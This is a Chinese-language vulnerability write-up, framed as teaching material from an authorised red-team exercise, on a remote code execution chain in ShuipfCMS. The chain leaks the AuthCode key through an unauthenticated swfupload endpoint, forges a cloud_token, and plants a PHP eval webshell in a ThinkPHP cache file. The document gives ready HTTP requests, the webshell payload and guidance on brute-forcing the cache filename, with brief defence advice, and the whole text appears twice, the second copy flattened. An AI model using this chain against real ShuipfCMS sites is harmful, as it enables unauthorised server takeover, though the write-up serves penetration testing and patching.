某攻防演练期间遇到的shuipfcms的RCE审计过程
字数 1244 2025-08-09 19:33:17

ShuipfCMS RCE漏洞分析与利用教学文档

1. 漏洞背景

在某次授权的攻防演练项目中,发现目标系统使用了ShuipfCMS(基于ThinkPHP框架的内容管理系统)。通过代码审计发现该系统存在多处安全漏洞,最终组合利用这些漏洞实现了远程代码执行。

2. 漏洞利用思路

  1. 利用未授权访问获取系统AuthCode密钥
  2. 使用AuthCode解密cloud_token
  3. 通过ThinkPHP缓存机制实现getshell

3. 详细漏洞分析

3.1 AuthCode密钥泄露漏洞

漏洞文件: shuipf/Application/Attachment/Controller/AdminController.class.php

漏洞函数: swfupload()

关键代码分析:

// 第37行左右
public function swfupload() {
    // 不需要鉴权即可访问
    if (empty($_POST['authkey']) || $_POST['authkey'] != authcode("a", "ENCODE")) {
        // 当密钥不对时,直接打印出系统的AuthCode
        exit(authcode("a", "ENCODE"));
    }
    // ...其他代码
}

漏洞利用:
直接访问该接口,当authkey不正确时,系统会返回加密后的字符串"a",这实际上泄露了系统的AuthCode密钥。

3.2 cloud_token解密漏洞

漏洞文件: shuipf/Application/Api/Controller/IndexController.class.php

关键代码分析:

// 第17行左右
public function cloud() {
    $token = I('post.token');
    $data = authcode($token, 'DECODE'); // 使用authcode解密token
    // CLOUD_USERNAME默认未设置,使用authcode解密
    // ...其他代码
    S($this->getTokenKey(), $data); // 将解密后的数据存入缓存
}

漏洞利用:
由于我们已经获取了AuthCode,可以构造任意token进行解密,并将恶意数据存入缓存。

3.3 ThinkPHP缓存getshell

缓存文件处理:

// shuipf/Core/Library/Think/Cache/Driver/File.class.php
public function set($name, $value, $expire = null) {
    // 文件名生成逻辑
    $filename = $this->filename($name);
    // 写入序列化数据
    $data = serialize($value);
    file_put_contents($filename, $data);
}

文件名生成规则:

  1. 默认DATA_CACHE_KEY为空
  2. $this->options['prefix']为3个随机字母加下划线(如rDe_
  3. 需要爆破或猜测此前缀

webshell写入:
通过构造特定的序列化数据,可以写入webshell到缓存文件中。

4. 完整利用过程

4.1 获取AuthCode

发送请求获取系统AuthCode:

POST /index.php?g=Attachment&m=Admin&a=swfupload HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

authkey=wrongkey

响应中会返回类似4e5935f5f5f5f5f5的AuthCode。

4.2 生成并发送恶意token

使用获取的AuthCode加密payload:

$payload = "<?php eval(\$_POST['cmd']);?>";
$token = authcode($payload, 'ENCODE', $authcode);

发送恶意token:

POST /index.php?g=Api&m=Index&a=cloud HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

token=生成的加密token

4.3 定位缓存文件

缓存文件位置通常在/Runtime/Temp/目录下,文件名格式为:

[3位随机字母]_[md5哈希].php

例如:

/rDe_1a79a4d60de6718e8e5b326e338ae533.php

定位方法:

  1. 如果有目录遍历漏洞,直接查看/Runtime/Temp/目录
  2. 无目录遍历时需要爆破3位前缀(Windows不区分大小写,爆破较快)

4.4 访问webshell

找到正确的缓存文件后,直接访问该文件即可执行任意PHP代码:

POST /Runtime/Temp/rDe_1a79a4d60de6718e8e5b326e338ae533.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=phpinfo();

5. 防御建议

  1. 修复未授权访问漏洞,对swfupload等敏感接口添加权限验证
  2. 不要在生产环境泄露加密密钥
  3. 对缓存文件进行安全处理,避免直接执行PHP代码
  4. 关闭目录遍历功能
  5. 定期更新CMS系统和框架

6. 总结

本漏洞利用链展示了如何通过组合多个看似不严重的安全问题(未授权访问、密钥泄露、不安全的缓存处理)实现远程代码执行。在实际渗透测试中,这种"小漏洞组合拳"的方式非常常见,开发者需要对每个安全环节都保持警惕。

ShuipfCMS RCE漏洞分析与利用教学文档 1. 漏洞背景 在某次授权的攻防演练项目中,发现目标系统使用了ShuipfCMS(基于ThinkPHP框架的内容管理系统)。通过代码审计发现该系统存在多处安全漏洞,最终组合利用这些漏洞实现了远程代码执行。 2. 漏洞利用思路 利用未授权访问获取系统AuthCode密钥 使用AuthCode解密cloud_ token 通过ThinkPHP缓存机制实现getshell 3. 详细漏洞分析 3.1 AuthCode密钥泄露漏洞 漏洞文件 : shuipf/Application/Attachment/Controller/AdminController.class.php 漏洞函数 : swfupload() 关键代码分析 : 漏洞利用 : 直接访问该接口,当 authkey 不正确时,系统会返回加密后的字符串"a",这实际上泄露了系统的AuthCode密钥。 3.2 cloud_ token解密漏洞 漏洞文件 : shuipf/Application/Api/Controller/IndexController.class.php 关键代码分析 : 漏洞利用 : 由于我们已经获取了AuthCode,可以构造任意token进行解密,并将恶意数据存入缓存。 3.3 ThinkPHP缓存getshell 缓存文件处理 : 文件名生成规则 : 默认 DATA_CACHE_KEY 为空 $this->options['prefix'] 为3个随机字母加下划线(如 rDe_ ) 需要爆破或猜测此前缀 webshell写入 : 通过构造特定的序列化数据,可以写入webshell到缓存文件中。 4. 完整利用过程 4.1 获取AuthCode 发送请求获取系统AuthCode: 响应中会返回类似 4e5935f5f5f5f5f5 的AuthCode。 4.2 生成并发送恶意token 使用获取的AuthCode加密payload: 发送恶意token: 4.3 定位缓存文件 缓存文件位置通常在 /Runtime/Temp/ 目录下,文件名格式为: 例如: 定位方法 : 如果有目录遍历漏洞,直接查看 /Runtime/Temp/ 目录 无目录遍历时需要爆破3位前缀(Windows不区分大小写,爆破较快) 4.4 访问webshell 找到正确的缓存文件后,直接访问该文件即可执行任意PHP代码: 5. 防御建议 修复未授权访问漏洞,对 swfupload 等敏感接口添加权限验证 不要在生产环境泄露加密密钥 对缓存文件进行安全处理,避免直接执行PHP代码 关闭目录遍历功能 定期更新CMS系统和框架 6. 总结 本漏洞利用链展示了如何通过组合多个看似不严重的安全问题(未授权访问、密钥泄露、不安全的缓存处理)实现远程代码执行。在实际渗透测试中,这种"小漏洞组合拳"的方式非常常见,开发者需要对每个安全环节都保持警惕。